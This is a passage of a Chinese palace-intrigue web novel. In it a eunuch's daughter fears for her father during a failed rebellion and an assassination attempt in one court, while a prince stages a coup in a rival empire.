此时此刻,万珍珠背后冷汗涔涔。 “郡主。”值夜的丫鬟从外屋进来,她手中掌着灯盏。 “无事。”万珍珠回一句。 这会儿有灯盏一照,屋中见亮光。万珍珠坐于榻上,她的眼前似乎还在回闪了梦中的一切。 丫鬟把灯盏搁在柜子上。问道:“要不,奴婢留一盏灯吧。” “留吧。”万珍珠不拒绝。 “天晚了,我无恙。”万珍珠挥挥手,示意不必让人在屋里守着。 值夜的丫鬟应一声,尔后,离开。 待屋中剩下自己一人,万珍珠回想梦中发生的一切。 惊天的火光,被刀捅了一回又一回的亲爹。 “呼。”万珍珠唏嘘一口气。 万珍珠心想,都说梦是相反的。这梦一定不保真。 凭亲爹的本事,万珍珠相信亲爹一定会护好自个。 只是再想入睡,万珍珠是睡不着。左右辗转,难再入眠。 次日,万珍珠顶着一双黑眼圈。 “我儿,你这是怎么了?”牛二囡瞧着闺女的新模样,她惊讶一回。 “昨晚,女儿没睡好。”万珍珠实话实说。 “可是担忧宫廷内苑里出事,怕连累着你爹。”牛二囡仔细的问道。 “娘,不是的。我是昨个晚做噩梦了。这才没睡好。”万珍珠回道。 “噩梦啊。”牛二囡一听后,笑道:“梦是相反的。你做噩梦,那一定是会遇着好事。” “嗯。”万珍珠应一声,脸上挤出来一抹的笑容,她回道:“借娘的吉言,女儿一定会遇喜事。” 朝食后,母女二人一起散散步。 浑江郡府里,万珍珠母女二人的府里蹲日子还在继续。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝批了奏本,尔后,搁下笔。将笔落于笔架后。 洪福帝的目光扫一眼万忠良,他问道:“可安排妥当?” “陛下放心,三位殿下跟前都有人专门护着,不敢大意半分。”万忠良口中的三位殿下,自然是洪福帝活着的三个孩子。 甭管是沁阳公主,又或者是三皇子、四皇子。这全是洪福帝的子嗣,万忠良一直差人护得紧。 如今洪福帝又问,那要护好的程度可不一般,还得往上抬一抬。 因为宫廷内苑最近嘛,风声起了。 既然是不平静的局面,那又如何。在洪福帝的心里,子嗣为重。 旁的可以舍了,可孩子太少的洪福帝千舍万舍,也不会舍掉子嗣。 谁让洪福帝的屁股下面,还真有一张龙椅等着子孙继承。 “大伴办事,朕很放心。”洪福帝笑道。 这时候洪福帝似乎笑得出来,心情不坏。 可做为天子的心腹,万忠良知道,天子的心情很坏。 这笑容太牵强。 果然不出所料,万忠良低头时。洪福帝又问一句,道:“大伴,你说,朕待皇后如何?” “陛下待皇后娘娘敬重有嘉,多处关怀,甚为体贴。”万忠良回道。 万忠良的话不是虚言,他真这么认为的。毕竟在万忠良瞧来,魏皇后不是一回两回的谋害帝王子嗣。 偏生洪福帝每一回都是雷声大,雨点小。最后,帝王还是原谅了皇后表妹。 搁万忠良身上,这等谋害子嗣的事情。他一定不原谅。 不止惩罚,还得加倍的奉还。 身体有缺陷,膝下没儿子。万忠良对于子嗣问题很在意。 很可能就是俗语说的那样,人嘛,缺什么就向往什么。越缺,越在意了。 “哈哈哈……”洪福帝大笑一回。笑罢后,他收敛笑容。 洪福帝的脸色冷了下来,他道:“在大伴眼中,朕甚重皇后表妹。可朕瞧着,不止皇后表妹不满意朕的偏心,表妹背后的人,也不满意朕膝下有庶出皇子呐。” “荒唐,怎么就没人问一问朕的心思。表妹押醋,表妹介意昭阳宫无子。朕给过机会的,不止一回。”洪福帝回忆往昔。 魏皇后能坐上中宫皇后的宝座,魏氏一族出大力气。 洪福帝记了恩,也给了太多太多的机会。 可结果如何呢,在洪福帝心里,皇后表妹和魏氏一族辜负了他这一位帝王的美意。 皇帝给过机会,当年二皇子降生,健康的小皇子送给皇后表妹抚养。 好好的小皇子抚养着抚养着,就夭折了。 问洪福帝心里什么想法?当时的洪福帝只想杀人。 杀掉那些害他儿子的人。 最后呢,洪福帝忍了。不过砍掉一些边边角角之人的脑袋结案。 真正的祸首,魏皇后可是平安渡过劫难。 旧帐犹在,洪福帝不是不记仇,而是一笔一笔全记着。 如今旧帐新帐一起算,洪福帝当然是要除敌,那就挖根,连根拔起,不留祸患。 “……”万忠良瞧着一吐心中郁气的帝王。 万忠良就带耳朵,不带嘴巴。 万忠良太清楚,这时候的帝王不想听他讲什么。 天子只是想有一个发泄的口子,就想让人聆听一下天子的恶劣情绪。 一般二般人听过天子的真心话,收场不一定好。 被灭口都可能。 可这等事情搁万忠良这一位万大伴的身上。那又不同。 在洪福帝的心中,万忠良的地位很特殊。 或者说在洪福帝的心中,他是把万忠良当“长辈”瞧着。 那是亲人,不止是大伴伴。 谁让洪福帝缺母爱父爱,在万忠良的身上,洪福帝享受到了长辈的疼爱。 那一种关切,不是言语说的,而是一举一动里的关心。 就像是护着子嗣这等要紧事,洪福帝不信旁人,他就信万忠良这一位大伴伴。 大赵朝,燕京都,鲁王府。 赵济世参加了一场聚会。一场很正紧,又似不太正常的宴会。 鲁王府的小宴举行,在这里,没旁人。连倒酒之人,那都是赵济世这等鲁王的心腹。 至于宴会的佳肴,早早上齐。尔后,侍候的仆从全被打发走。 院门处,有鲁王的亲卫在守门。 大厅内,坐着一群人。他们全是武官,赵济世在里面不起眼。 这些能来参加这一场聚会的,赵济世瞧着,他的地位好像不是最低。只是中间的份子。 聚会正式开始前,鲁王的幕僚田先生先登场,先给宴会预热。 赵济世瞧得出来,田先生当了嘴替,也替鲁王讲了一些开场白。 等着宴会正式开始的时候,鲁王登场了。 李明弘今日穿戴特殊。他穿着军将们的常服。虽不穿甲胄,却也是一身武将气派。 “本王请各位聚会,今日一聚,本王先有一言。”李明弘一到场,没急着让在场的人落坐。 李明弘是瞧过在场之人,一一点名。点着赵济世的名时。 李明弘还是点评一句,道:“济世,本王记得你出身北镇,贫寒之辈。非是搏命,效忠于本王跟前,你这一辈子的前程,也无前路。” “本王这一条船,济世,你登上来,注定下不去。本王好,你好。本王死,你注定得奉陪。” 李明弘的目光望着赵济世,问道:“济世,怕不怕,万一本王没个好收场,你搏命,都搏不出一个未来。” “不怕。”赵济世回道:“能为殿下效命,乃是属下 荣光。” “何况,属下相信殿下是真命贵人,注定福禄无量。”赵济世立正身子,大声回道。 “好,好。”李明弘对于赵济世的态度很满意。 每一个参加聚会的人,李明弘都问了,都点明了大家伙的出身。 最后的最后,李明弘的目光扫过众人。他道:“本王当仁不让,要清君侧,诛君父跟前的奸佞小人。” “诸君,可愿随本王一起赴汤蹈火,誓不功成,绝不罢休。”李明弘问道。 “愿随殿下赴汤蹈火,誓不功成,绝不罢休。”赵济世与众人一起回应道。 李明弘瞧着大家伙的态度,他很满意。 “众位,本王在此承诺。他日,本王登东宫储君位,诸位,皆本王肱骨。”李明弘也表明立场。 他富贵了,大家伙一起享受。 从龙之功嘛,李明弘给机会了。或者说来此的人,早是心头有数的。 至于说谁退出?到这等时候是没人会退出的。 因为他们都没有退路。 真是有退路的,李明弘也不会请来这一场办事前的聚会。 能来的,早给鲁王殿下表过投名状。 大晋朝,镐京都,皇宫。 明明将晚,夜是暗暗时分。万珍珠这一晚睡得不踏实。 她未曾安眠,隐约听着喊杀声。万珍珠以为是错觉。 结果,值夜的丫鬟进了屋,神色匆匆的禀话道:“郡主,出事了。” 快速的穿好衣裳。万珍珠走出寝屋。一到外面,站于稍高处时,万珍珠瞧见了皇宫方向,那里火红一大片。 万珍珠被惊醒,她的亲娘一样。牛二囡也被惊醒。 “来人。”这等时候,万珍珠又差人去给大管事吩咐话。 甭管有的没的,守好门户,让护从巡逻起来,十分必要。 至于各处门户,大门也罢,后门也罢,全是从里面锁了。 凭万珍珠的交代,没她吩咐,不得开门。 至于何时开门?天亮后再议。 再议嘛,也不定会开门。总之,外面情况不明。 只有一个等字。 镐京都,皇宫,宫廷内苑。 王贤妃跟朱充仪住得近。宫廷内苑有喊杀声,哪怕不在后宫方向。 宫廷里的嫔妃们一样害怕。似王贤妃这等更怕。 “皇儿……”王贤妃担忧三皇子。 这等时候再担忧,王贤妃也没辙。谁让三皇子养在泰和宫。 王贤妃想护了亲儿子,她如今连亲儿子的面都见不着。 王贤妃这儿只能祈求漫天的神仙佛主庇佑。 至于朱充仪这会儿,这一位也在祈求,不过是祈求了宫廷里的主宰,洪福帝赶紧的差人护了她和四皇子。 宫廷内苑燃了火,有喊杀声。这等情况下,四皇子被惊醒。 小儿惊醒,啼哭不止。让朱充仪的心情很坏。 此时此刻,朱充仪心绪难安。前程会如何? 谁在干大事。朱充仪有猜测,却也拿捏不准的。 昭阳宫。 魏皇后在静静的等候。她的跟前,沁阳公主小脸蛋儿上还是担忧的神情溢于言表。 “母后。”沁阳公主唤一声。 “莫怕,母后护着沁阳。”魏皇后哄一哄女儿。 这会儿不止哄一哄,魏皇后揽了女儿到怀中,轻轻的给女儿顺了背。 瞧着魏皇后、沁阳公主母女二人是温馨着。 这气氛再好,魏嬷嬷不想打扰。 可魏嬷嬷的心里是七上八下,那跟热锅上的蚂蚁一样,她不得安生。 庆德长公主一系想干什么?魏嬷嬷猜测到一二。 或者说,昭阳宫里除了魏嬷嬷外,旁的奴仆是猜不着一些大事的发生。 魏嬷嬷能知道,那是她的出身决定了。她一辈子得站在魏皇后这一边。 魏皇后好,她好,她的亲人好。 一旦魏皇后不好了,魏嬷嬷和亲人一样要完蛋。 谁让魏嬷嬷是魏氏一族的家生子,不止她是,她的儿女和孙子孙女都是。 家生子,不过主人家里的财产。生死掌于人手。 想做主,家生子是没有资格的。 没资格挑了主子,更没资格挑了前程。家生子和亲人的一辈子会如何? 全看主人家的前程。主人家好,才可以有盼头。 即使主人家好,万一不得主子的欢心,一样能被打落泥里。 只能说这一个三六九等时代,真是装都不装。 可谓是人上人,再抹了脂粉。也掩不住的真相。 人上人,不过是上等人吃了下等人,如此,上等人才能活得奢侈。 下等人被吃了,也不过是草芥。文人墨客也罢,勋贵世族也罢,没谁会给下等人发发声,做了大事,真正改变什么。 没人会,因为下等人不识字者众,不读书者众。 没有知识,被骗了后,还替上等人数了自个的卖身钱。 只能说,这是一个糟糕的世道,狗屎的世道。 没有最坏,只有更坏。 这一个世道里,哪一个朝廷都像是草台班子。 比好,很难。比烂,从来是常态。 魏嬷嬷在昭阳宫里,也是一人之下,许多人之上。 魏嬷嬷是魏皇后的心腹,她做家生子时,有可怜事。 同样鉴之,可怜之人也有可恨之处。魏嬷嬷替魏皇后办的事情里,不全是光明的事情。 不可告人的一样许多。 伥鬼嘛,魏嬷嬷就是魏皇后跟前的伥鬼。 这一夜,镐京都不得安宁。次日,天亮了。 浑江郡主府。 万珍珠和亲娘昨晚一直没睡,二人守着,一直守到天亮。 “快,让人瞧一瞧外面的情况如何?”牛二囡吩咐下去。 瞧一瞧情况,也不用开大门。只趴墙头,还是多少能知道情况。 万珍珠也在等情况。一直到大管事回话,外面的秩序已经恢复了。 特别是靠东北角的那一边,那一边临近了商户们住的坊市。 万珍珠听着大管事禀报,说坊市一切照旧。 见情况如此。万珍珠虽然还打算闭门闭府。 可到底开口,又差人去外面再探一探。能探得一点情况总是好的。 朝食,万珍珠和亲娘一起用,母女二人草草的吃两口对付。 瞧着母女二人的胃口都不甚好。 当天,晌午。 万珍珠见着义兄宋三德。宋三德替宫廷里的干爹带话。 “……”万珍珠听着义兄讲完宫廷内苑的情况后。 万珍珠都沉默了。 良久后,万珍珠说道:“魏氏一族谋逆……” 想说胆大。可这谋逆都干出来了,这能九族消消乐的事情。可不是胆大包天。 “那,宫廷内苑的贵人们没出事吧?”万珍珠问一句。 其时万珍珠更想问,朱充仪咋样? 知道朱充仪过得好,万珍珠就心里堵。 如果朱充仪出事,万珍珠不叫好,她只是在心里画个“圈圈”的默默祝福。 说是祝福,不如说是在心里画个圈圈诅咒了对方。 “朱充仪无恙。”宋三德实话实说。 “朱充仪是四皇子殿下的生母,干爹差人护了四皇子殿下,一样护好了充仪娘娘。昨个晚上,可没人能冲撞了充仪娘娘的寝宫。” 宋三德的嘴里,那是替干爹表功一回。 听着亲爹差人护了朱凤曦,万珍珠心里更堵。 可恶,朱凤曦走哪,都有人护了她。 万珍珠一想着朱凤曦的好日子是会越来越好。 万珍珠不止堵心,她还隐隐头疼。 “爹爹想得周全。我这问话,倒是糊涂,又多问了。”万珍珠自嘲一回。 罢,罢。还是相信亲爹。 万珍珠相信亲爹一定会报仇的。总不会便宜了仇家。 “郡主说的在理。干爹办事,从来走一步算三步。”宋三德也夸一夸干爹万忠良。 宋三德会来一趟,自是替干爹跑腿,安一安干爹妻女的心思。 人来了,事办好。宋三德就告辞离开。 浑江郡主府里,万珍珠知晓了宫廷内的情况。 这会儿的万珍珠担忧亲爹。这风暴来了,亲爹在风暴眼。 等大风暴结束后,结果会如何?万珍珠等结果。 皇宫,昭阳宫。 万忠良请着圣旨,他亲自跑一趟昭阳宫。 见着皇后娘娘,万忠良态度恭敬。只是在传了天子口谕后。 万忠良的态度又变了,或者说面对了昭阳宫的宫人时,万忠良是忠诚的执行了洪福帝的交待。 “昭 阳宫诸人,辜负圣恩,尽数押下,一一审讯。“万忠良一挥手,有侍卫与小黄门上前去。 昭阳宫的大小宫人,有一人算一人,全给押走。 哪怕是魏皇后的心腹魏嬷嬷也一样,也被押走。 等待这些宫人们的命运,在魏氏一族谋逆之时。 那结局就不用说了。昭阳宫赢了,他们就是上了大船。 如今瞧着昭阳宫的船翻了,他们这些宫人的结局当然是溺水了。 至于会不会被溺死,全看个人命数。是好是歹,除了受着,没第二条路走。 “公主殿下,陛下想您,请您移步往泰和宫。”万忠良态度恭敬的请了沁阳公主。 没法子,这会儿的万忠良得护好了沁阳公主去见一见天子。 这一位公主殿下嘛,那是皇帝的亲女儿。 哪怕外家出事,也不改变,这一位公主身上流的是天子血脉。 洪福帝的心里,这岳丈家是岳丈家。亲闺女又是亲闺女,万万不能混为一谈的。 “母后。”沁阳公主瞧着魏皇后,她的小手拉扯了母后的衣袖。 沁阳公主不想离开昭阳宫,她害怕。 “沁阳乖乖听话,先去你父皇那儿吧。”魏皇后坐于上首,她哄一哄女儿。 沁阳公主的年纪不算大,可生于皇家。沁阳公主已经懂事了。 沁阳公主抿紧嘴唇,她不想走。这会儿的公主殿下性子倔强。 “沁阳,你不听母后的话了?”魏皇后问道。 “……”沁阳公主还想倔强,最后,在魏皇后的要求下。 沁阳公主还是离开了昭阳宫。 万忠良请走了沁阳公主。余下来的事情,不需要他吩咐。 不过是请魏皇后待了空落落的昭阳宫里,一切等着帝王的后绪处置。 昭阳宫,往昔繁华。 如今宫人不在了,独留魏皇后于此。魏皇后守着寂寥的宫殿。 在这一刻,魏皇后的心里是孤独的。 此时,魏皇后思念了母亲父亲,思念了弟弟侄儿。 魏皇后的眼睛更是望向了泰和宫的方向。魏皇后挂念了女儿。 她一旦出事,沁阳怎么办? 天家的公主,一旦背负了谋逆的外家这等名声。 这前程也罢了,哪还剩下多少。 公主一旦不得君父宠爱。公主啊,不过空头名声。 魏皇后更在意着一事,皇家的公主哪比得过皇家的皇子。 皇子有皇位的继承权。公主是没有的。 如此,公主的地位在皇子面前比一比,又是低了一头。 魏皇后思绪复杂,越想,她的心里越难受。 “……”此时,魏皇后咬紧牙关。问她,关于今天发生的一切,她是后悔不后悔? 魏皇后的心头,她只后悔失败了。 宫廷内苑。 貌似恢复了平静。朱凤曦是亲自哄一哄皇儿。 四皇子一个小人儿,昨晚闹一回。如今睡醒了,他又闹吃的。 “奶嬷嬷,快,喂好了皇儿。”朱凤曦吩咐话道。 “唯。”奶嬷嬷应了话,又从朱充仪的怀中接过四皇子。 在奶嬷嬷准备喂奶水时。掌事太监求见。 朱充仪见了掌事太监,问道:“出了什么事?” “禀充仪娘娘,奴才抓着贼人。那贼人想要谋害四皇子殿下。”掌事太监禀了话,话罢,又是呈上人证物证。 第54章 大晋朝,镐京都,内城,浑江郡主府。 因着外面已经风波平,至少瞧着一切风平浪静的样子。 万珍珠让大管事不必再紧锁门户,一切恢复如常。 “上苍庇佑,平安无恙。”牛二囡在女儿吩咐大管事恢复正常秩序时,她双手合十,念叨一回。 “平安无恙,平安是福。”万珍珠赞同亲娘的看法。 甭管是不是上苍庇佑,只要能安人心,就是不错的安慰。 “寻一个好日子,我们娘儿俩去上香吧。祈福也罢,总归感激神仙佛主,让我们一家人平平安安。”牛二囡说道。 “全依娘的意思。”万珍珠同意了,她没有反驳的道理。 反正就是祈福嘛,不过添些香火钱。万珍珠不在意这些小钱钱,或者说万珍珠觉得信则灵。 亲娘信了,祈福一回,就当安亲娘的心思。 午间,万珍珠小憩一回。 昨个晚守夜,到底太熬人。如今睡小会子,也是舒坦。 在万珍珠入眠后,她睡得香甜。 万珍珠还做梦了,梦里,她似替了神仙,在福窝窝里过上好日子。 让万珍珠在梦里也笑起来。她很开心,一梦不想醒。 “郡主,郡主……”有人在喊话。 良久后,万珍珠醒来。明明入美梦,醒来了,万珍珠又回想,却是想不起梦里做得什么好梦? “郡主,出事儿了。”大丫鬟神情着急。 “莫急。”万珍珠宽慰一回。 “你慢慢说。”万珍珠接过衣裳,一边穿戴,一边安抚着身边人。 “宫廷来人,说,内相大人护圣驾,遇了刺杀。”大丫鬟忙回了宫廷来人讲的大事。 “我爹出事……”万珍珠刚穿好外衣,本来拿着钗要戴上。 这会儿哪顾得什么梳妆。万珍珠提步往外走。 “快,我要去见一见宫廷来客。”万珍珠顾不上旁的。 万珍珠就想知道,亲爹究竟咋样? 等万珍珠到前院,在厅堂里见着来客。熟人,义兄宋三德来传话。 “义兄,爹爹究竟如何?”万珍珠这会儿不顾意宋三德见礼甚的。 万珍珠就想问一问亲爹的情况。 牛二囡瞧着闺女,她的神情也紧张。 这会儿牛二囡也是刚到前院。她跟闺女一样,一得消息,立刻赶来。 “三德,你干爹怎么出的事,眼下如何,赶紧说说。”牛二囡着急问道。 “干娘……”宋三德唤一声牛二囡。 尔后,宋三德又唤一回万珍珠,让二人先莫急。 “干爹出事,受伤严重。好在宫廷之内,太医的医术好。如今干爹的情况已经暂时的稳定下来。” 宋三德不隐瞒什么。关于宫廷内苑,如何出事,怎么情况,能说的,宋三德全说了一遍。 从义兄宋三德这里,万珍珠知道亲爹这一回是救圣驾。 有人想谋刺帝王,亲爹是挡刀子的。 万珍珠想骂刺客胆大包天。可想一想,人舍得一身刮,敢把天子拉下马。 哪还有什么不敢干的。 想到这些,万珍珠懒得骂刺客。万珍珠更关心亲爹的情况。 当然,关心亲爹的同时。万珍珠对于朱凤曦的观感,那是连连败坏。 这一回,说起来亲爹是被拖累的人。 出事地,也在朱凤曦的寝宫。 万珍珠听着义兄宋三德的意思。四皇子差一点被人谋害,朱充仪寝宫的掌事太监拿了人证物证。 尔后,洪福帝去做主。这一去,就遇上了刺客。 接下来的事情不必多讲。万忠良是洪福帝的大伴伴,这等心腹,天子出事,那是真顶上去。 这不,洪福帝被护着,护天子圣驾的万忠良就出事了。 “爹爹出事,在宫廷内。这……”万珍珠都想亲自去照顾亲爹。 可万珍珠一开口,宋三德拒绝了。 “宫廷重地,天子禁宫。郡主,您为莫难咱呐。”宋三德讲道。 “是我糊涂了。义兄,确实让您为难了。”万珍珠刚才出口一番话,不过是真情流露。 如今脑子醒过来,也发现自己说错话。 宫廷,天子居所。又不是菜市场,想进去就能进。 “我儿,你担忧你爹,不若在府上祈福吧。”牛二囡劝道:“你多替你爹抄些道经佛经。” “嗯。”万珍珠应一声。 “义兄,我和娘都担忧宫廷里的爹爹。”万珍珠神色之间忧色很浓。 沉默片刻,她还是开口道:“请义兄替我们娘儿俩递话一回吧。” 若能进宫照顾亲爹,万珍珠和亲娘千愿万愿。 若真让人为难了,不能进宫。 那么,万珍珠只想待亲爹情况好转,请亲爹回府休养一番。 万珍珠和亲娘的态度是一致的。宋三德这一回应承下话。 如果可以,宋三德也是盼着干爹早日康复。 莫看干爹压头顶,宋三德有时候会憋屈一点。 可一旦干爹倒了,瞧着在天子跟前又冒头的老人张昆。 宋三德心情更坏。张昆是天子跟前的老人,说到情分,也是有的。 只往年被万忠良压一头。那才不显眼。 现在万忠良受了重伤。张昆一露头,张昆哪怕不提拔自己的干儿子等人。 可到底还是让宋三德等万忠良一系的干儿子们,那是压力满满。 镐京都,皇宫,泰和宫。 “让太医仔细照顾好万大伴。”洪福帝跟张昆吩咐道。 “陛下放心,万大人跟前一直差人仔细照顾着。那值守的小黄门,还是万大人认的干儿子,俱是心细之辈。”张昆回话道。 “……”洪福帝听着这话,沉默片刻后,讲道:“如此,心细之辈照顾大伴就好。朕才放心。” “大伴转好,照顾大伴的皆有功。”洪福帝到现在了,他还记得刺客的狰狞嘴脸。 洪福帝不是头一回遇刺。 可离着死亡如此之近,这乃头一回。若非大伴以身相替。 洪福帝觉得他跟九幽黄泉,那是擦身而过。 洪福帝是帝王,享万千福祉。洪帝福不想死。 位高权重,立于众生之上的帝王,他盼着万岁万万岁。 哪怕没可能活万岁,活百岁也是期盼的。长寿,乃帝王心愿。 至于死?帝王不想。 “昭阳宫的宫人,让人继续审。朕不在意他们的死活,朕等着一个答案。”洪福帝的目光落张昆身上,他的语气很冷漠。 什么答案?洪福帝不言明,张昆这一个老太监也懂得。 帝王遇刺,天大祸事。有人得背锅。 当然,也可能不是背锅,不过是幕后之人,那得偿了帝王之怒的恶果。 宫廷内苑。 昭阳宫出事,王贤妃求神拜佛,她就盼着昭阳宫的魏皇后倒台。 不止魏皇后,最好是魏皇后背后的一系人马全出事。 “昭阳宫倒了,太好了。”王贤妃还在开心。 “娘娘,昭阳宫出事,明晃晃着。奴婢更在意了,这一回陛下差一点也出事。”王嬷嬷劝道:“娘娘,您看,泰和宫那一边……” 王嬷嬷想说,三皇子那儿,还得请贤妃娘娘拿主意。 王贤妃的心腹,王嬷嬷小心着,那是讲了自己的小心思。 “皇儿那一边,本宫是得慎重。”王贤妃的一辈子指望全在三皇子身上。 王贤妃哪能不慎重。 “倒是这一回万内相出事,唉,可恶的很,朱充仪和四皇子倒是福大命大……”王贤妃想骂脏话。 其时王贤妃嘴里说着甚的福大命大。她就是太介意朱充仪和四皇子太福大,太命大。 如果可以的话,王贤妃恨不得咒了四皇子去死。 至于朱充仪? 在王贤妃的心里,只要四皇子这一个祸头子殁了。 朱充仪不足为惧。 宫廷内苑,嫔妃之间,各有心思。 这些不干系了万珍珠什么事。万珍珠更在意了亲爹。 这几日,万珍珠没心思做旁的事情。 万珍珠依着亲娘的话,多抄经。 这不是练字,更不是求神佛,万珍珠像是在抄经安心绪,让自己得了片刻的安宁。 一连三日,这般心绪难安。抄经时,万珍珠才能心绪平复。 待三日后,宫廷之内,万忠良的伤情稳定下来。 如此,万忠良在宫廷养伤一事,那就告一段落。 做为天子家奴,受伤了,没可能一直赖在宫廷内。 宫廷,那是天子居所。 于是万忠良就是求了天子恩典,他回浑江郡府里休养。 此事,洪福帝同意了。 大赵朝,燕京都,皇宫。 “捷报,捷报。”南边捷报,八百里加急而来。 此时,大赵天子知道南边与大吴朝的纷争,又赢一局。 天子很高兴。 就在天子与重臣商量一回,要如何嘉赏之时。 皇宫,宫廷内苑。 大赵皇后在召见了娘家亲人。不外乎,大赵皇后是关心了儿子的未来妻族。 皇子妻族,这可是好盟友人选。得力妻族,与皇子的将来助力良多。 对于大赵皇后而言,此乃大事。 “皇儿乃是陛下嫡子。”大赵皇后哪怕是天子继室。 可她是皇后,是中宫娘娘。既然她的儿子是天子嫡子。 那么,肖想一下东宫的储君之位,此,诚可谓是人之常情。 皇后娘家,乃姓杨。 杨皇后跟娘家的嫂嫂问道:“嫂嫂,崔氏几房皆有嫡女,崔氏意下如何?准备选哪一房嫡女嫁入皇家?” 崔氏一族,大赵世家。家大业大,杨皇后一直在替儿子拉拢。 只人丁多了,这嫡女也多。如此,杨皇后就想知道崔氏一族的哪一房准备投重注。 “嫡三房的嫡长女。”杨家夫人回话道。 “嫡三房,吏部左侍郎的嫡长女。”杨皇后讲道。 “皇后娘娘好记性,就是左侍郎的嫡长女。”杨家夫人回道。 “吏部,天官呐。”杨皇后很满意。 吏部,朝廷选官的衙门。被人尊为天官,那当然有原由。 不外乎在吏部选官时,谁能上,谁不能上。还不是吏部的一句话。 对于吏部左侍郎的嫡长女做儿媳,还是崔氏一族的嫡三房投重注。 杨皇后很满意这一位儿媳妇的出身。 “外面怎么了……”杨皇后隐隐听着喧哗声。 “皇后娘娘,出大事了。”杨皇后的陪嫁,杨嬷嬷着急着进殿内禀话道。 “出什么大事,本宫得好好评判一二。”杨皇后很镇定。 每逢大事,皇后也是静心宁气,心神守一。 杨嬷嬷真着急。她道:“有贼子在宫廷内苑杀人了。” “……”杨皇后当即讲不出话来。 大赵朝,镐京都,皇宫。 此时此刻,喊杀声不止在后宫的宫廷内苑,也在泰一宫。 泰一宫,帝王居所。 此时的大赵天子在跟重臣议事,尔后,被人围于此。 鲁王李明弘领着心腹,一路直来。 至于途中的禁军护卫,从神武门入,这一路,全是鲁王的人在值守。 或者说着守宫门的各处小将,鲁王这一系占住了关键的节点。 赵济世只是闯禁宫的人马之一。也是小领头人之一。 随在赵济世左右的是他的兄弟们。还有兄弟们手下的兵卒。 拿了脑袋起事,这等时候没谁会手软。谁挡路,就杀谁。 心软?在这等时候不存在。 相反,很多人是杀的兴起。又或者说是被富贵冲昏了头脑也罢,还是自己真的要一条道的走到黑。 没退路了,也就豁出去了。 赵济世只是豁出去的人里,那不起眼的一个。 从神武门一直往泰一宫,一路上,赵济世不在乎宫廷内的风景。 赵济世只记得一件事情,护好鲁王,鲁王在,他们的前程才有。 一旦鲁王殁了,他们所有人的前程就一个收场,死,就这一条路。 赵济世护在鲁王左右,一直到鲁王闯进了泰一宫。 “儿臣参见父皇。”鲁王向君父见礼问安。 大赵天子瞧着甲胄在身的嫡长子,又瞧着鲁王周围的甲士。 这时候再傻的人,也不需要问, 那就知道了情况是如何。 “皇儿,你与朕何至如此。”大赵天子很伤心。 说这话时,大赵天子的声音在颤抖。 真不是夸张,大赵天子的声音就在颤抖。至少赵济世这一位鲁王心腹是听出来。 至于是激动,还是气愤,让大赵天子的心绪如此不平静? 这答案没人想管,也没人在意。 至少赵济世不在意。 赵济世只是站在他应该站的位置,他执着刀,拿了弩,护卫着鲁王的安全。 “……”鲁王听着君父的话,他沉默了。 “君父左右,小人当道。”鲁王不必走君父划的道。 鲁王李明弘更不想陷入君父给的问题,他自说自话。 又或者说鲁王给自己找了贴金的理由。鲁王李明弘又道:“儿臣不过是清君侧,诛小人。” “儿臣乃君父的嫡长子,正位东宫,被君父立为储君,名符其实。父皇以为,儿臣之言,可有虚妄?”李明弘的目光直视大赵天子。 此时,大赵重臣在场。 自然有人的立场跟鲁王不一样。这不,有人开口喝斥。 “鲁王殿下,你不可一错再错,威逼陛下。” “……”赵济世瞧着开口之人,他真觉得这人傻。 这等场合,开弓没了回头箭。 莫说鲁王不能回头,就是他们这些追随之人,也一样没有回头路。 鲁王不多言语,他只给心腹使一个眼色。 赵济世瞧见了鲁王的眼色,他心一横,拿了弩,直视那开口之人。 尔后,弩箭射出,一箭穿喉而过。 血,在溢出来。红红的,落于赵济世的眼中,不过寻常。 今日,想不流血,岂有可能? 不过是多流血,还是少流血罢了。赵济世嘛,他最清楚,他就是干活的。 上面如何使唤,他就如何办事。 “殿下,此人想谋刺您。属下斗胆,断然行事。请殿下责罚。”赵济世伸手,在胸口一敲,行一个军礼。 “胆大之人,死不足惜。”这是鲁王的评价。 “济世,你很好。”鲁王夸了赵济世。 刚才使了眼色,鲁王就已经表态了。赵济世敢任事,这让鲁王很满意。 杀鸡警猴,鲁王已杀鸡,如今就看,可还有猴子敢冒头? 事实证明,生死面前,猴子还是少少的。 这不,死鸡一出,没人再炸刺。 哪怕是大赵天子也一样,这等时候,他都是闭嘴。 大赵天子也瞧着嫡长子在表演。 鲁王再行一礼,道:“父皇,儿臣斗胆,请您册立储君。” 前头都说了,鲁王当仁不让,他想当储君。 如今再开口,这是让大赵天子下圣旨即可。 至于人选,除了鲁王,不做第二人选。 大赵天子这会儿左右迟疑。可他的迟疑不需要太久。 又有武官来报话。 来者,亦是鲁王心腹。这一位一来,就是呈上了一个人头。 赵济世不需要眼神太好,他都瞧清楚了。那匣子里的人头乃是三皇子殿下,亦是大赵天子的嫡次子,杨皇后唯一的亲生儿子。 三皇子死了。 这砍掉三皇子头颅的人很胆大,赵济世也认识。 这一位的身份很特别。鲁王母族的亲表弟。 这一位胆大,敢替鲁王杀兄弟。 让赵济世干,赵济世还要迟疑的。毕竟杀皇族,这干仗在明面上,真是容易犯忌讳。 大赵皇族,还是有实力的。 毕竟大赵皇族的人丁多,占了地位的皇族也多。 “我的儿……”大赵天子一瞧着三皇子的头颅,当场崩溃。 鲁王李明弘也是瞧一眼表弟,在心里,他觉得表弟干事,手头太粗糙。 何必呢? 虽然对于这一个弟弟也没多少感情。毕竟再是兄弟情深,在皇权面前,在生死面前。 再多的感情也淡薄了。 只是说杀弟这一件事情,鲁王不想做的这般难堪。 奈何表弟把事情办了,鲁王不认,他也得认。 神武门领头一事,那是鲁王起的头。 事情让人干了,担责任的时候,鲁王不能缩头。 这是当领头人应有的担当。 “……”只是这会儿的大赵天子在崩溃。他在装疯也罢,他在卖痴也罢。 鲁王是一条道,那也要走到黑。于是鲁王给大赵天子的心腹太监发了话。 让拿空白的圣旨,尔后,当然由在场的众臣书写圣旨。 至于盖玉玺,那得天子来。 这不,鲁王又吩咐话,道:“本王诸兄弟感情甚笃,此,当差人去请来,一道跪于父皇跟前,请父皇不必为三弟一人哀伤,以致毁伤龙体。” 这是威胁吗? 听在大赵天子的耳里,真是威胁。 其时鲁王不发话,早有人去办事。对于宫廷里的皇子,不止鲁王在意,他手下人也在意。 这不,鲁王的表兄,他姨丈的嫡长子。那一位永宁伯府的常世子,这会儿就是来报到。 常世子来时,还是领着将士请来了诸位皇子。 大赵天子膝下,诸皇子聚齐。 此时的场景,让大赵天子没再继续的崩溃下去。 